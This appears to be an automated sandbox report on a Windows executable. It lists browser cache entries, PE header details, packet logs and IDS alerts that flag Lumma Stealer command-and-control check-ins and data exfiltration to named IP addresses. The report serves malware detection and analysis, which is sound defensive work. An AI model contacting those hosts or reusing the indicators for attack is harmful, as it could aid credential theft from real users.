Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.472983335283944
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CAo57G5Cio.exe
File size:	2'968'576 bytes
MD5:	cdcaa653fe18f53e5fbbca4d7a02c6bc
SHA1:	ad4341677ecf5ed7968198b327507f5842086d8c
SHA256:	65697232568baa86a010e0d5f589410de0b388cf7baba7d7ef2a2869ff2943a6
SHA512:	fe7d058ab71c1bb3d757178273d03c6a81c7b5dc7e43ae6854c4bcc9b385b2eae7ad59e03b40038ac6eb606652d5b31d69da80e3eb250d8ec7a992858c88de67
SSDEEP:	49152:iME85dKV8N4VPeU31LmWH36T4Aacy+n4VNihfBJ7nRPTg:PE85dKVsqPeU31LmWXL0RfT7nRPE
TLSH:	38D54BA2B50572CBE48E27B49923CE87691D07B9171409CBEC5C65BABEB3CC016B5C7C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................0...........@..........................@0.....(.-...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x701000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F84ECCCCDBAh
cvtpi2ps xmm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	20567166972540341c48cfc0e13aa844	False	0.9994893790849673	OpenPGP Secret Key	7.973097545206366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
twafezbg	0x55000	0x2ab000	0x2ab000	f3d320c82bad6fc79782e025d71799c3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ovspglhy	0x300000	0x1000	0x400	37adb691430ab6d30978f88a65dd4856	False	0.8212890625	data	6.394237285475707	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x301000	0x3000	0x2200	5428f37e08960e04c5ea7029101ec3fc	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T09:00:00.288231+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T09:00:01.214341+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T09:00:01.214341+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T09:00:02.585693+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	172.67.165.185	443	TCP
2024-12-27T09:00:03.394757+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49703	172.67.165.185	443	TCP
2024-12-27T09:00:03.394757+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	172.67.165.185	443	TCP
2024-12-27T09:00:05.087403+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	172.67.165.185	443	TCP
2024-12-27T09:00:08.560350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49720	172.67.165.185	443	TCP
2024-12-27T09:00:09.413140+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49720	172.67.165.185	443	TCP
2024-12-27T09:00:10.817230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49724	172.67.165.185	443	TCP
2024-12-27T09:00:13.853861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49731	172.67.165.185	443	TCP
2024-12-27T09:00:17.340150+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49739	172.67.165.185	443	TCP
2024-12-27T09:00:22.769879+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49757	172.67.165.185	443	TCP
2024-12-27T09:00:23.579329+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49757	172.67.165.185	443	TCP
2024-12-27T09:00:26.172321+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49760	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:59:54.504981995 CET	49674	443	192.168.2.7	104.98.116.138
Dec 27, 2024 08:59:54.520576954 CET	49675	443	192.168.2.7	104.98.116.138
Dec 27, 2024 08:59:54.676862001 CET	49672	443	192.168.2.7	104.98.116.138
Dec 27, 2024 08:59:54.693023920 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 08:59:55.067475080 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 08:59:55.489371061 CET	49671	443	192.168.2.7	204.79.197.203
Dec 27, 2024 08:59:55.817442894 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 08:59:57.317464113 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 08:59:59.017514944 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 08:59:59.017558098 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 08:59:59.017632961 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 08:59:59.022938967 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 08:59:59.022958040 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:00.288156986 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:00.288230896 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:00.296416044 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:00.296433926 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:00.296705961 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:00.301868916 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 09:00:00.346667051 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:00.409051895 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:00.409074068 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:00.409198999 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:01.214353085 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:01.214441061 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:01.214498997 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:01.216589928 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:01.216602087 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:01.225610018 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:01.225656986 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:01.225732088 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:01.226039886 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:01.226056099 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:02.585613012 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:02.585692883 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:02.587049961 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:02.587069035 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:02.587310076 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:02.588732004 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:02.588732004 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:02.588803053 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.394773006 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.394814014 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.394845963 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.394871950 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.394906044 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.394905090 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.394952059 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.394967079 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.394984961 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.399735928 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.399856091 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.399898052 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.399921894 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.430826902 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.430923939 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.430951118 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.430995941 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.431054115 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.514164925 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.567522049 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.595604897 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.599843025 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.599864960 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.599895954 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.599925041 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.599956036 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.599967957 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.599997997 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.602468014 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.602483034 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.602494955 CET	49703	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.602499962 CET	443	49703	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.829868078 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.829910040 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:03.829971075 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:03.830307961 CET	49709	443	192.168.2.7	172.67.165.185
